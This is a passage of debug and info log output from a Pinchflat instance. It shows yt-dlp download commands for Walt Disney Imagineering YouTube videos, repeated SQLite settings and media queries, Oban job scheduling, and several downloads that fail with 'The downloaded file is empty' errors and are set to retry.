/tmp/pinchflat/data/f2/b0/f2b0b63130ea3ee29061f68b8e33ccda05474ea9088fca98f70d3d3fd8276e28.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:48:18.226 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f2/b0/f2b0b63130ea3ee29061f68b8e33ccda05474ea9088fca98f70d3d3fd8276e28.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:48:18.226 [debug] Running yt-dlp command for action: download 19:48:18.227 [debug] QUERY OK source="settings" db=0.1ms idle=1705.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:18.227 [debug] QUERY OK source="settings" db=0.0ms idle=1705.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:18.227 [debug] QUERY OK source="settings" db=0.1ms idle=1705.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:18.227 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6a/40/6a40e812b20c29a92c9d2002fa943a0191fcdc69449fa7dd5d3998a6cd087aeb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:48:20.088 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:50.089 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.016 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:49:02.853 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6a/40/6a40e812b20c29a92c9d2002fa943a0191fcdc69449fa7dd5d3998a6cd087aeb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:49:02.853 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 19:49:02.854 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":49661591,"event":"job:exception","queue_time":220481,"attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:49:20.090 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:50.091 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.017 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:50:20.092 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:21.335 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1775001021335234746,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:50:21.335 [debug] QUERY OK source="media_items" db=0.2ms idle=1813.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 19:50:21.335 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:50:21.336 [debug] QUERY OK source="sources" db=0.2ms idle=1243.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:50:21.336 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:50:21.337 [debug] QUERY OK source="media_items" db=0.3ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 19:50:21.337 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 19:50:21.338 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:50:21.338 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:50:21.338 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:50:21.339 [debug] Running yt-dlp command for action: get_downloadable_status 19:50:21.339 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:50:21.339 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:50:21.339 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:50:21.340 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/db/ce/dbce058d18d02e0f134d858377f515e4abd454b808251ba009d825fd7e7ee84e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:50:26.324 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/db/ce/dbce058d18d02e0f134d858377f515e4abd454b808251ba009d825fd7e7ee84e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:50:26.324 [debug] Running yt-dlp command for action: download 19:50:26.325 [debug] QUERY OK source="settings" db=0.1ms idle=1803.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:50:26.325 [debug] QUERY OK source="settings" db=0.0ms idle=1803.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:50:26.325 [debug] QUERY OK source="settings" db=0.1ms idle=1803.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:50:26.325 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/35/dc/35dcfa17170b806a1356b5072766e2b0af80cdbfa132bb578227560ec38453d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:50:31.919 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/21/5c/215ce0f4e5a9d5aef07014ba6d4b661c51af4cf8b4417b839812b7ce54bbeb73.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:50:31.919 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 19:50:31.920 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":340942383,"event":"job:exception","queue_time":857655,"attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:50:50.094 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.018 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:51:20.095 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:26.572 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/35/dc/35dcfa17170b806a1356b5072766e2b0af80cdbfa132bb578227560ec38453d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:51:26.572 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 19:51:26.573 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":65237755,"event":"job:exception","queue_time":469072,"attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:51:50.096 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.019 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:52:20.098 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:50.099 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.020 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:53:20.100 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:50.102 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.021 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:54:20.103 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:50.104 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.022 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:55:20.106 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:21.684 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1775001321684253359,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:55:21.684 [debug] QUERY OK source="media_items" db=0.2ms idle=160.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 19:55:21.684 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:55:21.685 [debug] QUERY OK source="sources" db=0.1ms idle=161.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:55:21.685 [debug] QUERY OK source="media_profiles" db=0.1ms idle=161.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:55:21.686 [debug] QUERY OK source="media_items" db=0.2ms idle=7.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 19:55:21.686 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 19:55:21.686 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:55:21.687 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:21.687 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:21.687 [debug] Running yt-dlp command for action: get_downloadable_status 19:55:21.688 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:21.688 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:21.688 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:21.688 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3a/27/3a277df7dd7408ac68b3d0e5a27623338b88c0641565ab347aef18343ad877ab.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:55:25.166 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3a/27/3a277df7dd7408ac68b3d0e5a27623338b88c0641565ab347aef18343ad877ab.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:55:25.166 [debug] Running yt-dlp command for action: download 19:55:25.166 [debug] QUERY OK source="settings" db=0.1ms idle=1642.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:25.166 [debug] QUERY OK source="settings" db=0.0ms idle=1643.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:25.167 [debug] QUERY OK source="settings" db=0.1ms idle=1643.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:25.167 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f9/bb/f9bb310f48e0538383341297e87cd1449ba881f07fa9d520215d8334ab60174c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:55:50.108 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.023 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:56:20.110 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:50.112 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.024 [info] 